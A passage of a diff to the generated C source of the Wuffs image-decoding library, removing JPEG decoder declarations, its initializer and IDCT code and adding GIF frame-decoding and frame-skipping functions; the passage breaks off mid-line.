-+ v_background_color = self->private_impl.f_black_color_u32_argb_premul; -+ } -+ } -+ } -+ if (a_dst != NULL) { -+ wuffs_base__frame_config__set( -+ a_dst, -+ wuffs_base__utility__make_rect_ie_u32( -+ wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), -+ wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), -+ wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), -+ wuffs_base__u32__min(self->private_impl.f_frame_rect_y1, self->private_impl.f_height)), -+ ((wuffs_base__flicks)(self->private_impl.f_gc_duration)), -+ self->private_impl.f_num_decoded_frame_configs_value, -+ self->private_impl.f_frame_config_io_position, -+ self->private_impl.f_gc_disposal, -+ ! self->private_impl.f_gc_has_transparent_index, -+ false, -+ v_background_color); -+ } -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); -+ self->private_impl.f_call_sequence = 64u; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default( -- wuffs_jpeg__decoder* self, -- uint32_t a_mx, -- uint32_t a_my, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_csel); -+ ok: -+ self->private_impl.p_do_decode_frame_config = 0; -+ goto exit; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__load_mcu_blocks( -- wuffs_jpeg__decoder* self, -- uint32_t a_mx, -- uint32_t a_my, -- wuffs_base__slice_u8 a_workbuf); -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_decode_frame_config.v_background_color = v_background_color; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__save_mcu_blocks( -- wuffs_jpeg__decoder* self, -- uint32_t a_mx, -- uint32_t a_my, -- wuffs_base__slice_u8 a_workbuf); -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__skip_past_the_next_restart_marker( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src); -+ return status; -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__apply_progressive_idct( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf); -+// -------- func gif.decoder.skip_frame - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__swizzle_gray( -- wuffs_jpeg__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf); -+wuffs_gif__decoder__skip_frame( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__swizzle_colorful( -- wuffs_jpeg__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf); -+ uint8_t v_flags = 0; -+ uint8_t v_lw = 0; - --WUFFS_BASE__GENERATED_C_CODE --static bool --wuffs_jpeg__decoder__top_left_quants_has_zero( -- const wuffs_jpeg__decoder* self, -- uint32_t a_q); -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( -- wuffs_jpeg__decoder* self, -- uint32_t a_mx, -- uint32_t a_my, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_csel); -+ uint32_t coro_susp_point = self->private_impl.p_skip_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_flags = t_0; -+ } -+ if (((uint8_t)(v_flags & 128u)) != 0u) { -+ self->private_data.s_skip_frame.scratch = (((uint32_t)(3u)) << ((uint8_t)(1u + ((uint8_t)(v_flags & 7u))))); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (self->private_data.s_skip_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_skip_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_skip_frame.scratch; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_lw = t_1; -+ } -+ if (v_lw > 8u) { -+ status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); -+ goto exit; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ status = wuffs_gif__decoder__skip_blocks(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_quirks[0u]) { -+ self->private_impl.f_delayed_num_decoded_frames = true; -+ } else { -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -+ } -+ wuffs_gif__decoder__reset_gc(self); -+ self->private_impl.f_call_sequence = 32u; - --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu__choosy_default( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my); -+ goto ok; -+ ok: -+ self->private_impl.p_skip_frame = 0; -+ goto exit; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my); -+ goto suspend; -+ suspend: -+ self->private_impl.p_skip_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my); -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } - --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my); -+ return status; -+} -+ -+// -------- func gif.decoder.decode_frame - - WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( -- wuffs_jpeg__decoder* self, -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_gif__decoder__decode_frame( -+ wuffs_gif__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, - wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my); -- --// ---------------- VTables -- --const wuffs_base__image_decoder__func_ptrs --wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__pixel_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__pixel_blend, -- wuffs_base__slice_u8, -- wuffs_base__decode_frame_options*))(&wuffs_jpeg__decoder__decode_frame), -- (wuffs_base__status(*)(void*, -- wuffs_base__frame_config*, -- wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_frame_config), -- (wuffs_base__status(*)(void*, -- wuffs_base__image_config*, -- wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_image_config), -- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_jpeg__decoder__frame_dirty_rect), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_jpeg__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__history_retain_length), -- (uint32_t(*)(const void*))(&wuffs_jpeg__decoder__num_animation_loops), -- (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frame_configs), -- (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frames), -- (wuffs_base__status(*)(void*, -- uint64_t, -- uint64_t))(&wuffs_jpeg__decoder__restart_frame), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_jpeg__decoder__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- uint32_t, -- bool))(&wuffs_jpeg__decoder__set_report_metadata), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__more_information*, -- wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__tell_me_more), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_jpeg__decoder__workbuf_len), --}; -- --// ---------------- Initializer Implementations -- --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_jpeg__decoder__initialize( -- wuffs_jpeg__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -+ wuffs_base__decode_frame_options* a_opts) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); - } -- -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -- } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -- } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 4)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- self->private_impl.choosy_decode_idct = &wuffs_jpeg__decoder__decode_idct__choosy_default; -- self->private_impl.choosy_load_mcu_blocks_for_single_component = &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default; -- self->private_impl.choosy_decode_mcu = &wuffs_jpeg__decoder__decode_mcu__choosy_default; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -- wuffs_base__image_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -- (const void*)(&wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder); -- return wuffs_base__make_status(NULL); --} -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - --wuffs_jpeg__decoder* --wuffs_jpeg__decoder__alloc(void) { -- wuffs_jpeg__decoder* x = -- (wuffs_jpeg__decoder*)(calloc(sizeof(wuffs_jpeg__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_jpeg__decoder__initialize( -- x, sizeof(wuffs_jpeg__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame(self, -+ a_dst, -+ a_src, -+ a_blend, -+ a_workbuf, -+ a_opts); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame = 0; -+ goto exit; - } -- return x; --} - --size_t --sizeof__wuffs_jpeg__decoder(void) { -- return sizeof(wuffs_jpeg__decoder); --} -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; - --// ---------------- Function Implementations -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} - --// -------- func jpeg.decoder.decode_idct -+// -------- func gif.decoder.do_decode_frame - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__decode_idct( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_dst_buffer, -- uint64_t a_dst_stride, -- uint32_t a_q) { -- return (*self->private_impl.choosy_decode_idct)(self, a_dst_buffer, a_dst_stride, a_q); --} -+static wuffs_base__status -+wuffs_gif__decoder__do_decode_frame( -+ wuffs_gif__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__decode_idct__choosy_default( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_dst_buffer, -- uint64_t a_dst_stride, -- uint32_t a_q) { -- uint32_t v_bq0 = 0; -- uint32_t v_bq2 = 0; -- uint32_t v_bq4 = 0; -- uint32_t v_bq6 = 0; -- uint32_t v_ca = 0; -- uint32_t v_cb2 = 0; -- uint32_t v_cb6 = 0; -- uint32_t v_ccp = 0; -- uint32_t v_ccm = 0; -- uint32_t v_cd0 = 0; -- uint32_t v_cd1 = 0; -- uint32_t v_cd2 = 0; -- uint32_t v_cd3 = 0; -- uint32_t v_bq1 = 0; -- uint32_t v_bq3 = 0; -- uint32_t v_bq5 = 0; -- uint32_t v_bq7 = 0; -- uint32_t v_ci51 = 0; -- uint32_t v_ci53 = 0; -- uint32_t v_ci71 = 0; -- uint32_t v_ci73 = 0; -- uint32_t v_cj = 0; -- uint32_t v_ck1 = 0; -- uint32_t v_ck3 = 0; -- uint32_t v_ck5 = 0; -- uint32_t v_ck7 = 0; -- uint32_t v_cl51 = 0; -- uint32_t v_cl73 = 0; -- uint32_t v_in0 = 0; -- uint32_t v_in2 = 0; -- uint32_t v_in4 = 0; -- uint32_t v_in6 = 0; -- uint32_t v_ra = 0; -- uint32_t v_rb2 = 0; -- uint32_t v_rb6 = 0; -- uint32_t v_rcp = 0; -- uint32_t v_rcm = 0; -- uint32_t v_rd0 = 0; -- uint32_t v_rd1 = 0; -- uint32_t v_rd2 = 0; -- uint32_t v_rd3 = 0; -- uint32_t v_in1 = 0; -- uint32_t v_in3 = 0; -- uint32_t v_in5 = 0; -- uint32_t v_in7 = 0; -- uint32_t v_ri51 = 0; -- uint32_t v_ri53 = 0; -- uint32_t v_ri71 = 0; -- uint32_t v_ri73 = 0; -- uint32_t v_rj = 0; -- uint32_t v_rk1 = 0; -- uint32_t v_rk3 = 0; -- uint32_t v_rk5 = 0; -- uint32_t v_rk7 = 0; -- uint32_t v_rl51 = 0; -- uint32_t v_rl73 = 0; -- uint32_t v_intermediate[64] = {0}; -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (8u > a_dst_stride) { -- return wuffs_base__make_empty_struct(); -- } -- if (0u == (self->private_data.f_mcu_blocks[0u][8u] | -- self->private_data.f_mcu_blocks[0u][16u] | -- self->private_data.f_mcu_blocks[0u][24u] | -- self->private_data.f_mcu_blocks[0u][32u] | -- self->private_data.f_mcu_blocks[0u][40u] | -- self->private_data.f_mcu_blocks[0u][48u] | -- self->private_data.f_mcu_blocks[0u][56u])) { -- v_intermediate[0u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))) << 2u)); -- v_intermediate[8u] = v_intermediate[0u]; -- v_intermediate[16u] = v_intermediate[0u]; -- v_intermediate[24u] = v_intermediate[0u]; -- v_intermediate[32u] = v_intermediate[0u]; -- v_intermediate[40u] = v_intermediate[0u]; -- v_intermediate[48u] = v_intermediate[0u]; -- v_intermediate[56u] = v_intermediate[0u]; -- } else { -- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][16u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][16u])))); -- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][48u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][48u])))); -- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))); -- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][32u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][32u])))); -- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][8u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][8u])))); -- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][24u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][24u])))); -- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][40u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][40u])))); -- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][56u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][56u])))); -- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -- v_ci51 *= 4294964100u; -- v_ci53 *= 4294946301u; -- v_ci71 *= 4294959923u; -- v_ci73 *= 4294951227u; -- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -- v_intermediate[0u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -- v_intermediate[56u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -- v_intermediate[8u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -- v_intermediate[48u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -- v_intermediate[16u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -- v_intermediate[40u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -- v_intermediate[24u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -- v_intermediate[32u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); -+ if (self->private_impl.f_call_sequence == 64u) { -+ } else if (self->private_impl.f_call_sequence < 64u) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_gif__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ if (self->private_impl.f_quirks[5u] && ((self->private_impl.f_frame_rect_x0 == self->private_impl.f_frame_rect_x1) || (self->private_impl.f_frame_rect_y0 == self->private_impl.f_frame_rect_y1))) { -+ status = wuffs_base__make_status(wuffs_gif__error__bad_frame_size); -+ goto exit; -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ status = wuffs_gif__decoder__decode_id_part1(self, a_dst, a_src, a_blend); -+ if (status.repr) { -+ goto suspend; -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_gif__decoder__decode_id_part2(self, a_dst, a_src, a_workbuf); -+ if (status.repr) { -+ goto suspend; -+ } -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -+ wuffs_gif__decoder__reset_gc(self); -+ self->private_impl.f_call_sequence = 32u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame = 0; -+ goto exit; - } -- if (0u == (self->private_data.f_mcu_blocks[0u][9u] | -- self->private_data.f_mcu_blocks[0u][17u] | -- self->private_data.f_mcu_blocks[0u][25u] | -- self->private_data.f_mcu_blocks[0u][33u] | -- self->private_data.f_mcu_blocks[0u][41u] | -- self->private_data.f_mcu_blocks[0u][49u] | -- self->private_data.f_mcu_blocks[0u][57u])) { -- v_intermediate[1u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))) << 2u)); -- v_intermediate[9u] = v_intermediate[1u]; -- v_intermediate[17u] = v_intermediate[1u]; -- v_intermediate[25u] = v_intermediate[1u]; -- v_intermediate[33u] = v_intermediate[1u]; -- v_intermediate[41u] = v_intermediate[1u]; -- v_intermediate[49u] = v_intermediate[1u]; -- v_intermediate[57u] = v_intermediate[1u]; -- } else { -- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][17u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][17u])))); -- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][49u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][49u])))); -- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))); -- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][33u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][33u])))); -- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][9u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][9u])))); -- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][25u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][25u])))); -- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][41u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][41u])))); -- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][57u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][57u])))); -- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -- v_ci51 *= 4294964100u; -- v_ci53 *= 4294946301u; -- v_ci71 *= 4294959923u; -- v_ci73 *= 4294951227u; -- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -- v_intermediate[1u] = 